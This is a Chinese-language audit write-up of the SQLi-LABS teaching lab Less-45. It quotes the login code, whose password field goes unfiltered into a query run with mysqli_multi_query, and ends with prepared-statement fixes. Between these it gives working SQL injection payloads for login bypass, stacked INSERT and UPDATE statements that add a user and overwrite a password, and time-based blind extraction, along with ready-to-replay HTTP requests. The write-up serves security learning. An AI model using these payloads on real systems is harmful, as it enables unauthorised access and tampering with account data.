Less-45 审计报告:登录处堆叠注入(密码字段未过滤,括号闭合盲注)

1. 关卡概述

2. 漏洞代码定位

文件: Less-45/login.php

// 第 25 行:用户名被转义
$username = mysqli_real_escape_string($con1, $_POST["login_user"]);

// 第 26 行:关键 —— 密码字段完全未过滤!
$password = $_POST["login_password"];

// 第 42 行:括号 + 单引号拼接
$sql = "SELECT * FROM users WHERE username=('$username') and password=('$password')";

// 第 43 行:mysqli_multi_query 支持多语句
if (@mysqli_multi_query($con1, $sql))
{
    // 第 46~58 行:有结果则返回 $row[1](无 else 报错分支)
    if($result = @mysqli_store_result($con1))
    {
        if($row = @mysqli_fetch_row($result))
        {
            if ($row[1]) { return $row[1]; }
            else { return 0; }
        }
    }
}

第 60~62 行之后没有 print_r(mysqli_error(...)) —— 盲注。判定依据:第 68~85 行,$login != 0 则跳转 logged-in.php。

3. 漏洞分析

• 核心缺陷一:第 26 行密码字段未过滤。
• 核心缺陷二:mysqli_multi_query 支持堆叠多语句(无输出也执行)。
• 闭合方式:WHERE username=('$username') and password=('$password'),payload 以 ') 闭合 (',-- - 注释尾部。
• 盲注判定:是否跳转 logged-in.php(布尔/认证);INSERT 后能否登录新用户(堆叠);sleep() 延迟(时间)。
• 与 Less-43 的区别:Less-43 有报错回显,本关盲注。

4. 利用方式

步骤一:万能密码登录

login_user = admin
login_password = ') or 1=1-- -

拼接后:

SELECT * FROM users WHERE username=('admin') and password=('') or 1=1-- -')

• or 1=1 恒真 → 返回第一行 → 302 跳转登录成功。

步骤二:堆叠注入插入新用户(核心 payload)

login_user = admin
login_password = admin') ;insert into users(id,username,password) values(100,'admin2','admin2')-- -

拼接后:

SELECT * FROM users WHERE username=('admin') and password=('admin') ;
insert into users(id,username,password) values(100,'admin2','admin2')-- -')

• 无输出但 INSERT 已执行;用 admin2/admin2 登录验证。

步骤三:堆叠 UPDATE

login_password = admin') ;update users set password='pwned' where username='admin'-- -

步骤四:时间盲注提取数据

login_user = admin
login_password = ') and if((select count(*) from users)>10,sleep(3),1)-- -

5. Yakit 重放数据包

POST /sqli-labs/Less-45/login.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Content-Type: application/x-www-form-urlencoded
Accept: */*
Content-Length: 105
Connection: close

login_user=admin&login_password=admin%27)%20%3Binsert%20into%20users(id,username,password)%20values(100,%27admin2%27,%27admin2%27)--%20-&mysubmit=Login

万能密码报文:

POST /sqli-labs/Less-45/login.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Content-Type: application/x-www-form-urlencoded
Accept: */*
Content-Length: 44
Connection: close

login_user=admin&login_password=%27)%20or%201%3D1--%20-&mysubmit=Login

盲注判定:响应 302 → Location: logged-in.php 表示登录成功。Content-Length 以实际发送字节数为准。

6. 修复建议

修复一:PDO 预处理 + 禁多语句

<?php
$pdo = new PDO('mysql:host=localhost;dbname=security;charset=utf8mb4', $dbuser, $dbpass, [
    PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
    PDO::ATTR_EMULATE_PREPARES => false,
]);
$stmt = $pdo->prepare("SELECT username FROM users WHERE username = :u AND password = :p LIMIT 0,1");
$stmt->execute([':u' => $_POST['login_user'], ':p' => $_POST['login_password']]);

修复二:mysqli 预处理 + 哈希密码

<?php
$stmt = $mysqli->prepare("SELECT username, password FROM users WHERE username = ? LIMIT 0,1");
$stmt->bind_param('s', $_POST['login_user']);
$stmt->execute();
// 用 password_verify() 比对哈希

修复三:加固要点

• 移除 mysqli_multi_query;所有字段(含密码)一律参数化;
• 登录认证改哈希密码 + password_verify();
• 数据库最小权限;升级 PHP 7+ / 8+。

附:验证与复现说明

• 该环境为 SQLi-LABS 教学靶场(故意留洞),本报告仅用于授权范围内的安全学习与防御研究。
• 复现前提:导入 sql-lab.sql、配置 sql-connections/db-creds.inc、PHP 5.x + mysqli 扩展。
• 本关要点:密码字段未过滤 + 括号闭合 + 堆叠查询 + 盲注。